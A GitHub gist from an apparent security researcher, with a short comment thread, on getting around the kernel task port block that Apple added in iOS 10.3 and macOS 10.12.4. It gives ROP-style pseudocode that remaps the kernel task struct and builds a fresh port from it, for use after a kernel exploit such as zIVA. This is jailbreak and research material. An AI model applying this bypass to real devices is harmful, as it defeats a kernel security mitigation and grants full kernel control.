Skip to content

Instantly share code, notes, and snippets.

@Siguza
Last active April 22, 2021 23:38
Show Gist options
  • Save Siguza/e333eedddbd5e3c874533f74d1f47d42 to your computer and use it in GitHub Desktop.
Save Siguza/e333eedddbd5e3c874533f74d1f47d42 to your computer and use it in GitHub Desktop.

Sadly I don't have a dev device on iOS 10, but for anyone playing around with zIVA caring about the kernel task port:

Starting with iOS 10.3 (and macOS 10.12.4), Apple changed convert_port_to_locked_task (and a few other port-to-something conversion functions) to blacklist the kernel task by means of a direct check. As a result, you can still obtain the kernel task port, but almost all APIs will simply treat it like MACH_PORT_NULL, thus rendering it useless. The check is a simple pointer comparison though, so it can be circumvented by just remapping the task struct at an additional virtual address and creating a new port from that with a ROP equivalent of:

vm_map_remap(
    kernel_map,
    &remap_addr,
    sizeof(task_t),
    0,
    VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR,
    zone_map,
    kernel_task,
    false,
    &dummy,
    &dummy,
    VM_INHERIT_NONE
);
mach_vm_wire(&realhost, kernel_map, remap_addr, sizeof(task_t), VM_PROT_READ | VM_PROT_WRITE);
realhost.special[4] = ipc_port_make_send(ipc_port_alloc_special(ipc_space_kernel));
ipc_kobject_set(realhost.special[4], remap_addr, IKOT_TASK);

Notes:

  • I successfully tested this on macOS 10.12.4 and 10.12.5, so I'm not 100% sure it'll work unmodified on iOS, but it should in theory.
  • I'm not sure if mach_vm_wire is required or not, but I'm sure it works when it's there.
  • I'm still not sure why kernel_map doesn't work in zone_map's place - it looks to me like vm_map_remap should work recursively, but I haven't had time to investigate this further.

That's all I can add for now, take it if it helps you or enlighten me if there is more to it on iOS. :)

@CoolFool245
Copy link

CoolFool245 commented Sep 26, 2017

Hey @Siguza how do you get the variable 'realhost' ?
Thanks for this writeup

@Siguza
Copy link
Author

Siguza commented Sep 27, 2017

Either from the kernel symbol table, or through an in-kernel call to host_priv_self...

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment